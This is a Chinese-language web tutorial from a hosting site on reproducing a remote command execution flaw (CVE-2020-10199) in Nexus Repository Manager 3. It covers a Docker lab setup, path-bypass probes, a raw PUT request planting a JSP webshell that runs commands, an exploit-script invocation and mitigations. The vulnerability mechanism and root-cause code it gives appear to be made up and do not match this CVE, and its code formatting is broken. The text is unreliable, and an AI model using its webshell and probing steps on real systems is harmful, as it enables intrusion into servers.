您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 如何进行Nexus Repository Manager 3远程命令执行漏洞的复现
## 前言
Nexus Repository Manager(以下简称Nexus)是Sonatype公司开发的一款流行的二进制存储库管理工具,广泛应用于企业级软件开发中的依赖管理。2020年曝光的CVE-2020-10199漏洞允许攻击者通过精心构造的HTTP请求在Nexus 3.x服务器上执行任意命令,危害等级高达CVSS 9.8。本文将详细介绍该漏洞的原理、环境搭建、复现过程及防护建议。
---
## 一、漏洞概述
### 1.1 漏洞基本信息
- **CVE编号**:CVE-2020-10199
- **漏洞类型**:远程命令执行(RCE)
- **影响版本**:Nexus Repository Manager 3.x ≤ 3.21.1
- **漏洞组件**:`org.eclipse.jetty:jetty-servlet`依赖
### 1.2 漏洞原理
漏洞源于Nexus对HTTP请求中`%2e`(URL编码的`.`)的特殊处理缺陷。攻击者可通过构造包含`/%2e/WEB-INF`路径的请求绕过安全限制,访问WEB-INF目录并上传恶意JSP文件,最终实现命令执行。
---
## 二、实验环境准备
### 2.1 所需工具
| 工具名称 | 用途说明 |
|-------------------|----------------------------|
| VMware/VirtualBox | 虚拟机环境 |
| Docker | 快速部署漏洞环境 |
| Burp Suite | 拦截和修改HTTP请求 |
| curl | 命令行发送HTTP请求 |
### 2.2 搭建漏洞环境
推荐使用Docker快速搭建有漏洞的Nexus版本:
```bash
docker run -d -p 8081:8081 --name nexus-vuln sonatype/nexus3:3.21.1
验证服务是否启动:
curl -I http://localhost:8081
# 预期返回HTTP 200
http://<target-ip>:8081
curl http://<target-ip>:8081/service/rest/v1/status
发送特制请求访问WEB-INF目录:
curl -v "http://<target-ip>:8081/%2e/WEB-INF"
关键特征:若返回200状态码且显示目录列表,说明存在漏洞。
通过PUT方法上传webshell(需先通过Burp修改请求):
PUT /%2e/WEB-INF/web.xml HTTP/1.1
Host: <target-ip>:8081
Content-Type: application/xml
Content-Length: 123
<jsp:scriptlet>
Runtime.getRuntime().exec("touch /tmp/pwned");
</jsp:scriptlet>
访问上传的JSP文件触发命令:
curl http://<target-ip>:8081/<malicious>.jsp
可使用公开的EXP工具简化流程:
python3 nexus_rce.py -u http://<target-ip>:8081 -c "id"
漏洞根因在于org.eclipse.jetty.servlets.MappedResource
类对路径规范化的处理缺陷:
// 错误示例:未正确处理%2e解码
String path = request.getRequestURI();
if(path.contains("%2e")) {
path = URLDecoder.decode(path); // 过早解码导致绕过
}
/%2e/WEB-INF
→ 被解析为/./WEB-INF
升级到Nexus 3.22.0及以上版本:
docker pull sonatype/nexus3:3.22.0
location ~* /%2e { return 403; }
Security → Anonymous Access → 取消勾选"Allow anonymous users to access the server"
Q:复现时返回403错误怎么办?
A:检查是否已禁用匿名写入权限,或尝试使用有效凭据。
Q:如何验证命令是否执行成功?
A:在Docker容器中执行:
docker exec -it nexus-vuln ls /tmp
”`
注:实际复现时请确保: 1. 在隔离环境操作 2. 获得目标系统所有者授权 3. 遵守当地网络安全法律法规
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。